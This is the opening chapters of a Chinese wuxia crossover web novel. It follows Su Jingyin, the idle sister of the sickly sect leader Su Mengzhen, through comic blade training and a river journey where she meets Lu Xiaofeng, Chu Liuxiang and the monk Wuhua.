《[综武侠]祸水美人她好难》 1. 美人刀 《[综武侠]祸水美人她好难》全本免费阅读 黄昏日落,跌入荧荧星河。 星河之下,有山河锦绣,有人间烟火。 亦有一塔一灯一双人。 背后的灼人温度逐渐攀升而上,耳畔喘息交织缠绕,苏镜音眼睫轻颤,眼角余光不经意瞥见地上相随相覆的一双影子,心中思绪一时间纷纷杂杂,百转千千念,不知该如何是好。 她咬了咬唇,终究还是忍不住轻哼出声。 “哥、哥哥,我……” 身后传来青年公子微哑的低沉嗓音。 “嘘,什么也别说。” 苏镜音禁不住颤了颤,眼尾一点泪痣,丝丝缠缠沁入了绯色,流转滴出透骨冶艳。 “我是你妹妹啊,你不能、不能这样对我……” 绯色作笔入画,勾出倾城牡丹。 红艳袅烟疑欲语,可公子他啊,视而不见。 语声低吟之间,是宛若蛊惑一般的温柔,仿佛要将她一道拖入那迷乱又无望的深渊地狱。 “今夜,你不是我妹妹,我也不是你兄长……” “可是我真的不喜欢这样……” “妹妹啊。” 冷隽清傲的公子自喉间低低溢出一丝轻笑,似是在讥讽着她此刻不合时宜的天真,“此时此景,已经由不得你不喜欢了。” 他的温柔好冷漠,竟惹得绯艳牡丹不由沁出了一抹滢滢雨露。 美人含泪,我见犹怜。 “别哭。” 公子动作怜惜地轻抚过她眼尾的清泪。 少女的发间带着一缕幽冷香气。 不似花香,却比花香醉人心。 但,怎奈郎心似铁。 “你就算哭倒了整座金风细雨楼,这一回,我也不会饶过你了。” 苏镜音难过极了。 她忽然想起了前半生所有的伤心事。 没忍住嘤出了声。 苏梦枕沉沉叹了一口气,无奈道: “才练一会刀就哭天喊地的,像什么样子?” 苏镜音眨着要落不落的眼泪看他。 金豆子说掉就掉,这是她的老绝活了。 苏梦枕自小罹患重疾,多年沉疴缠身,虽然在幼时就被父亲送上了小寒山拜师学艺,但苏家钱财不缺,侍从不缺,衣食住行自有人周全伺候。 后来从父亲手中接过金风细雨楼,尽管这些年为拓大势力而殚精竭虑,却也是世家公子养尊处优。 总而言之,苏梦枕活过这二十多年,除了他那一身病痛的折磨,其实是不曾遭过其它什么罪的。 直到,他遇上了这妹妹。 自此往后,苏梦枕除了一身沉疴痼疾,还多了一项头疼之症。 被气的。 他在小寒山上之时,就曾收到家书,知道自己多了个妹妹,后来学艺有成,得已出师下山,却逢父亲病重过世,父亲临了之前,交予少年手上的,除了倾注他十年心血的金风细雨楼,还有他最放心不下的小女儿。 小姑娘跪在病床前,哭红了双眼。 他失去了一个亲人,却还有一个亲人。 苏梦枕从前大多都在小寒山上,每年回来一次,与这个妹妹相处时日不多,外加他性情凄冷,小姑娘每每碰上他,亦是疏离淡然,因而兄妹二人并不亲近,互相也不了解。 但她已是他唯一的亲人了。 处理完父亲后事后,他特意寻她彻夜长谈了一番。 小寒山上,苏梦枕是少年天才的大师兄,风雨楼中,他又是即将接任的新楼主,对苏梦枕来说,不论在何处,从来都只有旁人费尽心思接近他的,主动与人拉近关系这样的事,不像苏梦枕会做的事。 可他偏偏做了。 毕竟他只剩这么一个妹妹。 这也是他第一次试着主动了解一个人。 但,说实话,还不如不了解。 琴棋书画诗酒茶,无一精通。 刀枪剑戟鞭锏叉,全都不会。 她走后,自小严于律己样样皆通的苏公子,独坐玉塔之上,沉默了很久。 老父亲的心偏得没边了。 原来这就是儿子与女儿的区别待遇了么。 翌日,他早早唤来杨无邪。 金风细雨楼新上任的少年苏楼主与少年杨总管,在玉峰塔上二脸严肃,慎重商议的第一件大事,是苏小小姐的教育问题。 可就是这个朴实无华的问题,直到五年后金风细雨楼势力崛起,苏小小姐也长成了苏大小姐,还是没能彻底解决。 苏梦枕从望妹成才到望妹兴叹,也只用了五年,在此期间,他的病愈重,继而逐渐明白,为何当初父亲临去之时,会如此放心不下她。 因他如今也同样放心不下她。 如今的江湖上,年轻一代,既有声名鹊起的江湖名侠沈浪,亦正亦邪的千面公子王怜花,也有踏月留香的盗帅楚留香,四条眉毛的浪子陆小凤等人。 上一代的,远的不论,最近的,也有十几年前曾经登顶武林,如今却绝迹江湖的小李飞刀李寻欢。 江山代有才人出,短短五年之间,苏梦枕能够扬名武林,金风细雨楼能够迅速崛起,原因有很多,但江湖上最重要的,自然还是实打实的高绝武力值。 他是金风细雨楼的苏楼主。 亦是「梦枕红袖第一刀」的苏梦枕。 苏梦枕扬名武林的黄昏细雨红袖刀法,旁人想学都学不到,可他这咸得令人发指的妹妹,每次只练了不到一盏茶工夫,嘴里就开始在问: “还要多久,我好累了……” 苏梦枕微微拧眉,“这才刚开始,还有两个时辰。” 苏镜音手中的红袖刀一抖。 震惊地看向他。 你是魔鬼吗?? 之前不是都一个时辰的吗?? 苏镜音从前听人说,没了亲爹就有后爹。 那时她还不信,因为她有亲爹,但娘早早就死了,不可能给她找后爹。 可是后来爹真的死了,临终前将她托付给了她不是很熟的亲哥。 长兄如父。 于是那句话就应验了。 亲哥变成了后爹,见天的折磨她。 爹啊,你所托非人啊。 苏镜音美目含泪,楚楚可怜。 “后、啊不,兄长你放过我吧……” 苏梦枕冷漠无情,连名带姓。 “苏镜音,这么些年,我放过你多少次了。” 苏梦枕师承小寒山派红袖神尼,以师父的‘红袖刀法’为基础,自行改创的更为适合他寒弱体质习练的‘红袖黄昏细雨红袖刀法’,在他出师下山之时原本仅有四十九式,经过经年累月的实战之后,逐渐扩展到了一百二十八式。 而这整整五年,日日雷打不动早睡晚起,外加还要午休时间的苏镜音,却只学了一半的一半不到。 苏梦枕无奈之至。 她平日里其实很乖,很听话,学东西也很快,天赋极高,但就是骨头极懒。 唯一能坚持五年的事,就是偷懒。 每回他一转头,再看过去,永远在练第一招。 就,很离谱。 杨无邪到的时候,恰是月色正浓时。 红袖刀极美。 一道迤逦艳骨,几缕潋滟水光。 可握着它的人,更美。 任是杨无邪早已见惯了自家大小姐的那张祸水脸,也还是不由恍惚了一瞬。 美人舞艳刀,映月转花钿。 罗裙动香,红蕖袅袅。 及笄过后的大小姐,犹如牡丹含苞,一年盛开得比一年美,若不是大小姐平日极少出楼,也不知要沾惹汴京多少的少年儿郎失了心魄。 杨无邪这般想着,转头就瞧见院外守塔的两个年轻弟子目光迷蒙,直愣愣看着塔下的含苞牡丹,三魂放飞天外去,七魄消散九霄间。 杨无邪默默叹了口气,楼子里的兄弟,也没好到哪里去就是了。 杨无邪个子很高,比常人要高处一截来,又高又瘦,站在人群之中从来都是最显眼的那个。 可就是这么大一只显眼的杨总管,站在这里好半晌,那两个魂飞天外的小弟子却好似瞎了一样看不见。 被偷家了都不知道。 他一连扣扣敲掉两个愣脑壳。 响得很,一听就是好头。 弟子乍然惊醒,连声唤道‘杨总管’。 金风细雨楼坐落汴京城天泉山。 天泉山上,四楼一塔。 四楼,为青、白、红、黄四色楼。 青楼发号施令,白楼情报搜集,红楼武装集结,黄楼娱乐宴饮,各有分工,各司其责。 一塔,历来为楼主所在之要地,玉峰塔。 那是楼主与大小姐住的地方。 玉峰塔的守塔差使,在风雨楼中人尽皆知,从来都是香饽饽。 什么大小姐绝代倾国色,什么芙蓉不及美人面,什么近水楼台多看几眼月……嗯,这都不重要,我等凡人就是想多瞻仰瞻仰楼主的仙姿。 因为大小姐性子清冷娴静,极少外出……咳不是,是楼 2. 美人刀 《[综武侠]祸水美人她好难》全本免费阅读 风吹帘动,碎影斑驳。 容颜昳丽的姑娘衣襟微散,几缕如瀑青丝徐徐散落,柔弱无依般倾伏在马车上。 姑娘白皙如玉的手指尖紧紧攥着一片素色袖袂。 被攥住了衣角的公子神色清冷,不动如山。 苏镜音觉得自己骨头都要酥了。 一敲就碎的那种酥。 楼主外出,杨无邪作为金风细雨楼的大总管二把手,虽必须留守在楼子里看家,但他们这一路上的衣食住行,其实他早已备得妥妥当当,当然,包括马车。 铺满绒毯的精致马车自汴京一路往西南方向行进,过颍昌,过襄州,再至江陵,走走停停,满打满算也颠簸了五六天,再细心妥帖的杨总管,也救不了苏镜音的一把老腰。 年纪轻轻的,腰子就坏了,害得她连一贯的好睡眠都没了。 苏镜音捂着莫名酸爽的腰子,一脸怨念的盯着自家没有半分兄妹爱的兄长。 美人含薄怒,如娇还似嗔。 宛若远山的黛眉微微蹙着,双瞳剪水,映漾一抹潋滟的波光,只消一眼,便能叫人沉醉不知魂归处。 可惜同处一车的,是某位不解风情、身心皆奉献给了工作的苏大公子。 苏公子闲闲撩睫,轻睨了她一眼,仍不释卷,翻过一页书,漫不经心道,“从前是我太惯着你,以后多出来几趟就好了。” 苏镜音怔了怔,“……以后??” 她这两年越发不喜外出,自家的妹妹自家知,因而苏梦枕从前外出办事,也一向很少带上她,这回虽不知为何带上了她这个拖油瓶……嗯是的,就是拖油瓶。 苏镜音向来很有自知之明,她兄长的红袖刀法是别人求都求不来的绝顶功法,她虽被按头不得不兢兢业业练了五年,但说实在的,只有用来敷衍她哥的第一式使得炉火纯青,其它的,勉强算是半生不熟,随便拎出一个江湖上的二三流小高手,估计也都能轻易吊打她。 可话又说回来,这次就算了,还有以后? 她哥这是安的什么后爹心?? 苏梦枕这回连看都懒得抬眼看她,只说道,“以后,我处理公务,你须在一旁看着。” 苏镜音懵了。 她眨了眨眼,十分怀疑自己刚才幻听了。 要不然怎么会从她哥嘴里听到那么吓人的鬼故事? 她低头优雅地饮了口茶,觉得自己可能需要冷静一下。 但讲完鬼故事的她哥不愿放过她,撩起眼皮凉凉看了她一眼,“怎么?” 苏镜音:“……”好的,不是幻听。 她凑近了些,试探着问,“该不会……这也要学?” 苏梦枕手上的书又翻过一页,语气淡淡道,“不错,学聪明了。” 苏镜音默默咽下一口心头老血。 就他每日那早上醒得比鸡早晚上睡得比狗晚的变态作息,她有几条命算几条命,都不够陪他耗的。 她木着一张漂亮脸蛋,干脆利落的摆烂,“兄长,我觉得我学不了。” 苏梦枕闻言哧笑了一声,慢条斯理地开起嘲讽,“你在这方面,倒是一如既往的自信。” 苏镜音:“……” 说来毕竟是一家子,她兄长也是生得极好看的,只是病得太重,人也清瘦,总是咳着咳着就吐血,但还是能让人一眼就看得出神清骨秀的模样。 只不过。 可惜了那么好看的一个人,怎么就偏偏生了张嘴呢。 但这世上本就有许多事情是无法解释的,比如突如其来的孤独,说来就来的困意,她家兄长的嘴毒,以及…… 总是想把手中茶杯往他头上扣的冲动。 苏镜音低头看了看自己手里的茶盏。 她想,在这个容易冲动的年纪,她或许偶尔也应该做一把冲动的事,才算不枉来这世间走一遭。 但苏镜音终究还是没能冲动一把。 马车骤然停了下来。 苏梦枕放下书卷,轻咳了一声。 车厢外赶车的茶花立即撩起车帘,回禀道,“公子,前方有人拦路。” 苏镜音有些诧异,竟然有人敢拦他们的路? 茶花名字虽然唤作茶花,但他其实是个威武雄壮的汉子,他和一脸凶神恶煞的师无愧两人一道坐在车辕上赶车,明眼人一看就很不好惹。 更别说此番出行,明面上虽看着轻车简从,但毕竟金风细雨楼在江湖上还是有敌对势力的,楼主出行这么重要的事,暗处肯定也安排了不少人手潜藏跟随着,以便随时听候调遣。 随着茶花掀开车幔,微寒的秋风见缝插针灌了进来,倏然钻入一阵阵馥郁芬芳的花香。 可这香气委实太浓郁了些,苏梦枕猝不及防间沉沉呛咳了起来。 这些年他的病愈重,人也愈发显得形销骨立,消瘦苍白,原本今日精神好了不少,面上也带了些浅淡的血色,此时咳疾猝然急犯,脸色倏地一下就化为惨白一片,瘦骨嶙峋的指节紧紧攥着的帕子,不多时也随之浸染上了簇簇红梅。 苏镜音小时候第一次见他这般,吓得都差点提前为他哭起了丧。 但如今,她却能有些慌张又熟练的为他拍背顺起气来。 自她有记忆以来,她兄长的病好似从未有过一丝半点的好转,常年为他看病的御医树大夫说,他须忌浓酒,忌大肉,忌寒凉,忌吹风,吃的是药膳,穿的是厚裘,每年一到了秋冬时节,就病得犹如仅剩下一口气。 虽然据说也确实是只剩一口真气在吊着他的命。 苏梦枕的咳喘渐渐平缓了下来。 苏镜音连忙提壶倒了杯温水给他递了过去。 苏梦枕接过茶盏,拍了拍她的手背,对她露出了个安抚的笑来,“哥哥没事。” 他其实并不常笑,也不怎么喜欢笑,大多时候总是哧笑或冷笑居多,此时露出这样一个略带安抚的笑,是很难得一见的,也看得苏镜音心里忽然就难受了起来。 苏梦枕虽生来性子冷清,但苏镜音小的时候大多都是叫他哥哥的,只是后来父亲去世,恰逢金风细雨楼处于风雨飘摇之中,他为此而殚精竭虑,心思城府本就极深的他,行事手段也如他的刀法一般,越发诡谲凌厉,狠辣无情。 渐渐的,苏镜音也变得沉默,后来逐渐改口称他为兄长,只不过偶尔还是会脱口而出几句哥哥。 但其实苏镜音心里一直都是明白的,若没有她哥哥的狠厉手段,只怕风雨楼早已湮没在了风雨之中。 苏镜音深吸了口气,在苏梦枕低头喝水的时候,抬手撩起车幔走了出去。 这么一会儿工夫,师无愧已经下车弄清楚了情况。 随着丐帮君山大会的举办日期临近,接到请帖赶往君山的江湖人士越来越多,眼看当下临近洞庭湖畔,这条官道上来来往往的车马也多了起来,他们马车的前边,还有一架看起来颇为雅致贵气的马车。 那是江南花家的马车。 据说在江南地区,骑上一匹快马不停的跑上一天一夜,都仍然还在花家的产业之内。 在苏镜音的印象中,那就是一个极有钱、极有钱、极有钱的世家大族。 嗯,反正她就记住了一个有钱。 师无愧说,前方拦车的是个穿着一袭黑纱裙的女子,自称丹凤公主,排场很大,又是侍女提篮撒花,吹箫弹唱,又是三个护花使者开道拦路,拦的也不是他们的路,而是花家的马车。 苏镜音下令的手刚抬起来就放了下去,拧眉问道,“什么丹凤公主?” 哪家公主做派会那么鬼祟古怪,还裹一身黑纱的?? “是个五十年前早就灭亡的小国。” 师无愧解释道,“说是叫什么金鹏王朝。” 哦,明白了,不是朝廷的公主。 那就是可以放心干她丫的了。 欺软怕硬的苏镜音如是想道,毕竟她也不想为了出口气而招惹不必要的麻烦。 于是她放下的手又支棱起来了。 冷冷下命道,“把拦路的都拖走。” 她不想管别人家的闲事,但她哥哥的血可不能白吐。 苏镜音的话音刚落,倏然之间自官道两侧的林子里冒出七八个黑影,转瞬便落到了花家马车的前方,乒乒乓乓交起手来。 八个对四个,以多欺少,以强欺弱。 不错,稳赢。 苏镜音满意了。 她掸了掸裙角,立马矮下身子钻回了车厢内。 她拍拍手把人都拖走,剩下本打算逃跑的陆小凤蹲在花家马车车辕上,和花满楼两人面面相觑,二脸懵逼。 在路上走着走着,忽然被拦下来这种事,陆小凤已经不是第一次遇上了。 他是个浪子,还是个江湖有名的风流浪子,因此总是会遇上各种各样形形色色的美人,而美人香风裹挟而来的,往往都是一些难以解决的棘手麻烦。 那丹凤公主长得那样美貌,露面的排场搞得那样隆重,一见面又立马跪了下来,陆小凤的江湖经验极为老道,说来都是泪,全是以往被坑无数次的经验凝结而成,他看得出来,她此番想求的,绝对是个天大 3. 美人刀 《[综武侠]祸水美人她好难》全本免费阅读 楚留香这两日有点倒霉。 他是个贼,说贼有些不好听,或者该说是盗。 他的盗亦有道,留下一枚郁金花笺,告知守宝之人,光明正大,众目睽睽之下,优雅而又从容的盗。 登堂入室,盗宝无影,踏月留香。 所以他在江湖上有些许名头,有人叫他盗帅,有人叫他香帅,有人赞他是强盗中的大元帅,因他劫富济贫,偶尔撒币,时常偶尔,也有人称他是流氓中的佳公子,因这世上没有他偷不走的东西,包括姑娘们的心,所以也时常有人娇声叱他道,是偷心的贼。 而这些天,他守身如玉得很,在他的小船上晒太阳翻着面均匀做美黑,没有盗宝,也未偷心。 但却有一个姑娘口口声声嚷着他偷了她的东西,举着剑从江南海岸一路不停追砍他到洞庭湖畔,大有一副不没收他的作案工具不罢休的架势。 说来说去,最近过得不算好,但好在,他的饭量一直很好。 逃命也是会饿的。 也亏得他朋友满天下,刚到洞庭湖畔,就闻见了一股烤鱼的香气,他的鼻子时常不灵敏,但在关键的时候总是很灵活。 这世上人各有志,有人喜欢金银财宝,有人喜欢高官厚禄,有人喜欢浪迹江湖,也有人的喜欢千奇百怪。 楚留香有个朋友叫张三,他喜欢烤鱼,他烤鱼的时候总是很专心,天就算破了个窟窿他也不会看上一眼,因此他烤的鱼很有名气,又香又嫩,不腥不老,但却不是人人都能吃到的。 好在楚留香就是其中一个能吃到的人。 张三有个江湖诨号叫作‘快网’,给他一条船,他就能过得比谁都好,楚留香的轻功极高,轻飘飘落在张三那艘破旧却坚固的船上,都未发出半分响动。 本是一别数载久逢老友,相见且欢愉。 但楚留香却愉不出来。 因为张三的鱼烤焦了。 这事就很恐怖了。 楚留香大惊失色。 他下意识抬头望天。 嗯,还好没窟窿。 张三目光呆滞地看着他热爱的烤鱼,连焦了都不知道,楚留香的手在他眼前挥了好半晌,他也没反应。 楚留香猛地一拍他的背,张三这回有反应了,他比楚留香刚才的大惊失色还要大惊失色。 不是为了他的烤鱼,而是为了他手里掉出去的珍珠。 这个楚留香倒是理解了,张三什么都好,就是嗜珍珠如命,看见好品相的珍珠就走不动道,不搞到手就抓心挠肝,心痒难耐。 但楚留香这次猜错了,他没想到,这回让张三的心痒得抓不着的,不是珍珠。 而是他手中那颗珍珠的主人。 洞庭江风撩帷纱,一眼竟夕起相思。 楚留香默默听完,面色凝重至极,他沉吟片刻,合理推断,要么是张三疯了,要么就是他聋了。 因为他听到张三念叨了那位美人大半天,最后说,“打个比方罢,若是她想要我全部的珍珠,我掏光了底裤都会奉上。” 楚留香:“……”人家姑娘应该并不是很想要你底裤里的珍珠。 但能让向来嗜珍珠如命的张三说出这等话,那位姑娘委实不简单。 楚留香忍不住直叹气,看张三那副失魂落魄的样子,他今晚约莫是吃不上烤鱼了,唉,看来他只好亲力亲为,亲自动手……系紧裤腰带。 没办法,孩子饿了一天了。 “你说那姑娘后来登上了金风细雨楼的船?” 楚留香系好腰带,这才有心思关心起好友八百年才得一个的心上人,“江湖传闻,苏梦枕双亲早亡,听说只有一个妹妹,按你说的来看,年纪应当正好对得上。” 张三呆呆盯着珍珠,脑子里想的全是江风撩动帷纱时的惊鸿一瞥,听到这里,他嗖地一下站起来看向楚留香,呐呐地问道,“老臭虫,你说,我拿我一身造船本事去找苏梦枕换他妹妹,够吗?” 楚留香赶紧拦住他,“别!你可千万别冲动!” 楚留香这下终于确定了。 嗯,没错,就是张三疯了。 开玩笑,红袖刀之威,刀下恶魂几多,拿什么去拐人家唯一的妹子,拿命吗? 他不知道究竟是何等样人,才能勾得平生只爱珍珠船舶的张三这般失了魂离了魄。 但这世上比美人珍贵的事物多不胜数,森林何其多,野草更不尽,为了一棵树抛弃一切舍弃性命,不至于,真不至于。 可话是这么说的,道理也是这个道理。 直到翌日,楚留香再次被追着不得不躲进了水中,从水里出来的那一刹,眼前不经意间忽现一烟紫罗裙的少女,生得那厢倾城国色,仙姿玉骨,浑然不似凡间中人。 那是一种笔墨诗书皆难以描绘的艳色。 江南四月春盛,陌上十里繁花,塞北雪乡寒梅……任凭楚留香赏遍春色,却仍觉皆是远远及不上她这一刻的掩唇弯眸,嫣然浅浅。 九天神女落凡尘,笑倚东窗白玉栏。 楚留香昏昏沉沉,仿若已醉倒在那娇靥之下,冷不防坠回水底,呛了好大一口洞庭湖水。 惹得神女微微侧首,回眸垂青。 目光相望那一瞬,楚留香心尖剧颤。 他蓦然觉得。 他好像……也不是……不可以…… 试试红袖刀。 他在这一刻完全忘记了某个把一颗珍珠当祖宗供起来的好友。 什么张三?张什么三?张三什么?? 对不起,他不认识。 苏镜音从前没多少出来游玩的经历,眼下坐船行水路,做什么都觉得新鲜,一大早吃完早点,连惯常的回笼觉也不睡了,茶花捞了一桶小江虾,说是可以拿来作鱼饵。 于是她开始专注起了钓鱼事业。 但一个时辰过去,两个时辰过去,她的事业颗粒无收,连她一向嘴下不饶人的兄长都不忍开嘲讽,只露出了关爱自闭儿童的怜悯眼神。 本来不自闭的苏镜音被他看得彻底自闭了。 眼看日渐正空,就在她想着要么还是放弃算了的时候,鱼竿它……竟然动了!天可怜见的,一早上了,不容易啊! 苏镜音连忙拉了拉鱼竿,没拉动,担心把鱼放跑了,索性放手让茶花弄,茶花气力够是够了,但拽着拽着,才发现,钓上来的,是一大活人。 苏镜音脸上的笑容瞬间消失。 楚留香的鼻子有毛病,呼吸不畅,所以他练就了用皮肤呼吸的功法,在水里待上一天一夜都没问题,但他此时还是厚着脸皮登上了船。 他微笑着拱手自报家门,英俊优雅的面容一如既往的富有魅力。 但这魅力踢上了铁塔般的铁板。 茶花一听他自称楚留香,本就不多的礼貌更加不多,苏镜音方才微微颌首回了礼,他那铁塔身躯当即严严实实挡在自家大小姐跟前,横眉竖目,自发充当起了人形三八线。 茶花向来老实巴交一壮汉,他听说过楚留香的名号,轻功极高,盗术一流,出道以来风流史上的红颜知己连起来,比他堆了一个月没洗的袜子还要多得多。 他嘴皮子不利索,但内心的感情充沛表达到了眼睛里。 毕竟此刻他看楚留香的眼神,跟看个采花贼几乎没两样。 楚留香:“……” 楚留香忍不住摸了摸鼻子,这是他每每觉得尴尬或赧然时候下意识的动作,他本想用内力蒸干衣物,又想起这身衣裳已从东海沿岸穿到了洞庭湖畔,未免佳人面前失礼,只能硬着头皮问茶花, 4. 美人刀 《[综武侠]祸水美人她好难》全本免费阅读 这一回,都不需要自报家门了。 四条眉毛外加大红披风,实在太好认了。 茶花很干脆的像座大山一样挡住了陆小凤直勾勾的目光。 容颜绝色的美人蓦然成了野蛮生长的糙汉,陆小凤一激灵,终于舍得把他的浪子心从爱河里捞出来,顺便嫌弃地收回了情意绵绵的眼神。 茶花:“……”玛德,老子的四十米屠鸡大宝刀呢? 陆小凤缓过神来,这才注意到游船上嵌着的金风细雨楼的标记,俨然与前日后头那架马车的标记是一个模子所刻。 他恍然想起,彼时错过的那片如云如雾的烟紫罗裙尾。 原来,她就是那些黑衣人口中所说的大小姐。 若说他这两日被上官丹凤缠得憋屈又窝火的话,那此时陆小凤有再大的火气也都云销雨霁了,甚至于,他还冷不丁产生了些许感恩之情。 感谢天,感谢地,感谢上官丹凤让我们相遇。 陆小凤的麻烦总是跟女人有关,越是美貌的姑娘,越容易带来难以招架的麻烦,对于这点,浪子的经验实在丰富得不能再丰富了。 所以浪子从来多情又薄情,他知道什么样的姑娘可以招惹,也知道什么样的姑娘连想都不能多想。 可是再多的明知道,都抵不过那千秋从无的惊鸿绝色。 原来真的有那样一个人,只消一眼,便足以让你不自觉陷了进去,心甘情愿沉坠梦中,梦里有九霄云殿,梦里有仙音袅袅。 直到那位风姿绝尘,却面有病容的公子从船舱内走出来,那一缕飘渺朦胧的仙乐竟还萦绕不休。 直到陆小凤浑身湿漉漉的登上了船,那一曲仙乐也更是愈发清晰可闻了。 泠泠七弦遍,半入江风半入云。 原来不是天上乐,而是人间曲。 可人间哪得几回能听到这般动人心弦的曲子? 而这世间又有谁能够弹出如此明澈之琴音? 陆小凤循声回首望去。 江上远远飘来一叶孤舟,一名僧人。 面容姣若好女的青年僧人身着一袭月白僧衣,神姿孤洁,宛若瑶林琼树,独坐孤舟之上,素手焚香抚瑶琴,此间风尘,皆是外物。 孤舟逐流随波,越飘越近。 楚留香恰在此时换好衣裳走了出来。 江湖传名的两大只浪子不期然对上了眼。 确认过眼神,全都是被钓上来的人。 至于是被鱼儿钩钓上来的,还是被美人钩钓上来的,那就仁者见仁,智者见智了。 只不过楚留香眼下已不复此前狼狈,而陆小凤方才上船,浑身上下衣裳湿透,肩上挂了两撮暗绿色水草,草里还夹带了一条活蹦乱跳的小鱼崽崽。 苏镜音眼睛蓦地一亮,挪了步子闪到自家兄长身后,一把揪住他的袖角,悄悄拉了拉。 苏梦枕侧眸看来,她立时眼巴巴地示意他捉鱼,人是她钓上来的,四舍五入这鱼崽子也算是她钓上来的。 这可是她花了一早上时间,好不容易才得来的劳动成果呢,可不能让它给跑了。 苏公子高贵冷艳地睨了她一眼,不理她。 但苏大小姐她不依不饶。 苏公子清风朗月的身姿底下,袖袍针脚都要被她给揪崩了,苏大小姐缠起人来是很烦的,不达目的不会消停,这点没人能比苏梦枕更清楚了,她是真做得出在这儿撕了他衣袍的事来的。 果不其然,下一刻,就隐约听到了细小的裂帛声。 苏梦枕病躯一僵,额角青筋蹦了蹦,终究还是拿她没辙。 斜睇了不省心的妹妹一眼,苏公子暗自磨了磨牙,只得与陆小凤道了声失礼,高抬贵手取了水草,修长指节拈住那条拇指大的鱼儿,放到了她手心里。 顺道着,咬牙切齿地屈指捏了捏她的脸,解一解气。 第一千八百次,想问问他那故去多年的父亲啊,这妹妹是来给他本就病弱多舛的一生增加坎坷的罢? 陆小凤刚用内力蒸干衣物,闻声转头,只瞥见肩上水草被一只消瘦见骨的手拿了下来,他随之看去,就见那美人姑娘小心地双手托着鱼,唇角含霜,面容冷淡,但被兄长轻捏了脸后,却似是微微着恼地嗔了他一眼。 美人含嗔带娇,星眸流转,眼中仿若只看得见公子一人,羡慕得小凤凰眼都红了。 他未来的大舅兄可真是好福气啊! 且不论苏公子愿不愿意当陆小凤的大舅兄,此时就连他的隐藏情敌楚留香都没注意到这一出。 只因孤舟将至,琴音已歇。 江上抚琴之人,七绝妙僧无花。 妙僧何止七绝,琴棋诗书画武茶,就连那一手素斋厨艺也是顶顶妙绝。 楚留香与陆小凤皆是江湖有名的浪子,同时也是朋友遍天下的浪子,二人自然皆与无花相交甚笃。 孤舟已至,楚留香踏风而下,身姿轻盈落入舟中,与无花闲话寒暄了两句,刚要为他介绍那位金风细雨楼的苏楼主,一回身才发现,陆小凤这崽种趁他不注意,已经跟美人聊上了养鱼经,且还说得头头是道。 江湖就这么大,两个浪子早就认识且熟识了,也曾坐下来喝酒探讨过,毕竟说起来,两人交往的妹子都不少,可从不重合也是挺巧的。 后来才发现,浪子确实都是十成十的真浪子,就是喜欢的类型不一样而已。 但极致无暇的美却是无法归类的,那种美一眼千万年,区区统一审美,自然不在话下。 于是现在资源重合了。 陆小凤的目光从来都是很放肆的,被他看着的姑娘往往都会羞赧地红了脸,可他此时说话间与美人离得近了,却是目光飘忽,不敢直视。 从前他浪荡江湖时曾听过一段梁祝戏词,台上的梁山伯一句词唱得悱恻缠绵,欲语还休,彼时陆小凤还不明白那是一种什么样的心情,如今遇到这令他一眼动心的姑娘,他终于是懂得了。 他也从此不敢看观音。 刚把鱼放入茶花拿来的木桶里,就听了一耳朵养鱼经的苏镜音,目光有些疑惑地看向陆小凤,“嗯??可是我不养啊。” 她好忙的,一天下来要吃饭睡觉咸鱼瘫,还要练她哥的红袖刀法第一式,她哪有时间养什么鱼啊。 陆小凤问,“那这是?” 苏镜音很是理所当然,“钓鱼自然是用来吃的。” “……??” 陆小凤低头瞧了一眼那只拇指大的、即将幼年早逝的小小鱼,忽然觉得刚才羡慕它能被美人垂青的自己,好特么傻。 无花跟着楚留香踏上了船。 楚留香早年行走江湖时曾与苏梦枕有过几次短暂交集,因而自觉担任起了互作介绍的工作,船上四位青年俊杰皆在江湖上有着不容小觑的名气,一见面自是好一番你来我往的应酬流程。 只不过让无花觉得奇怪的是,陆小凤与楚留香对待苏梦枕的态度,有一种他完全说不上来的诡异热络,但他对此也只是一闪而过的疑惑,并不是很在意,毕竟眼下他还有更为重要的事情。 无花是应南宫灵之托,来请楚留香提前去往丐帮君山分舵下榻 5. 美人刀 《[综武侠]祸水美人她好难》全本免费阅读 最后苏镜音连白开水都没烧成,就被她哥嫌弃地赶去练刀了。 苏梦枕看了一会儿,留下了茶花作监督,拢了拢身上大氅,转身欲回船室。 师无愧尾随其后,面带担忧地看着他。 公子近来行事愈发急了。 不止延长了大小姐练刀的时辰,似乎还准备将楼中事务教予她上手,此番带她外出,他们这些亲信其实都看得出来,不过是想为大小姐多添些人脉以护周全罢了。 他迟疑了片刻,才低声劝道,“大小姐很聪明,公子其实不必这样急。” 苏梦枕隐有愁容,只摆摆手,并不出言。 一进屋内,他立时脊背微躬,掩唇不住地咳嗽起来。 江风侵虐病骨。 师无愧本就跟在后边,见状连忙关上舱门。 船外是秋水寒烟,船内却是红梅盛血。 血腥气瞬间弥漫开来,浸满了整间屋子。 江湖传言,金风细雨楼的苏公子孤高謇傲,不可一世,纵有病骨,难折傲骨。 苏梦枕的脊背从来都是直的,可他的病如今愈重,咳嗽起来总也忍不住弯了腰,若心无挂碍,尚且无妨,可他心有挂念,难能安枕。 病容经年,时日无多,他早知命。 只余一姑娘,或恐死后无依。 师无愧手中倒了杯水,待苏梦枕的咳嗽稍微平缓一些后,他赶紧奉上茶盏,让自家公子吞服随身携带的丸药。 那是苏梦枕常年无停的丸药,曾经只吃一颗即可缓下咳意,如今却须两至三颗才可,到了深冬,便还要再加上浓得能让人苦到心底里的汤药。 沉疴多年,如今苏梦枕早已分不清,究竟苦的是药,还是心。 由爱故生怖,不寐百忧生。 他吞服了药,喉间痒意渐消,师无愧还要再为他倒水,苏梦枕摇了摇头,只将茶盏放回了桌上。 一道残阳铺水中,一介愁客立舫舟。 苏梦枕扶窗远望,眉间染霜,心中万千思绪。 少顷后,他又忍不住咳了几声,在师无愧急步上前时,忽而抬手吩咐道,“让人……不,到岸后你亲自去,盯着无花。” 师无愧惊疑不定,“公子,莫非那无花大师有问题?” “或许。” 苏梦枕语声微沉,又道,“无花武功极高,远远跟着就好,别被发现了。” 自家的小姑娘长得极为好看,说句不好听的,道一声亡国祸水也不为过,苏梦枕再如何不近女色,自她年过及笄后,这两年也逐渐意识到了这一点。 绝世的美貌如触不及的九天明月,月华映照之处,凡人一视同仁。 大多人一见苏镜音,第一眼是惊艳,第二眼便是不由自主的沉沦。 可无花不同,他看见她面容的第一眼,是惊异,第二眼,目中却隐有微芒一闪而过,虽一瞬即逝,但还是被苏梦枕察觉到了。 无花那时的扪心自省,扪的究竟是心,还是心口处的衣襟? 苏梦枕神色微冷,扬手扔了染血的帕子,目光平静地看着它飘出窗外,悠悠荡荡的,缓缓落入水中。 江水微澜,血色漾出。 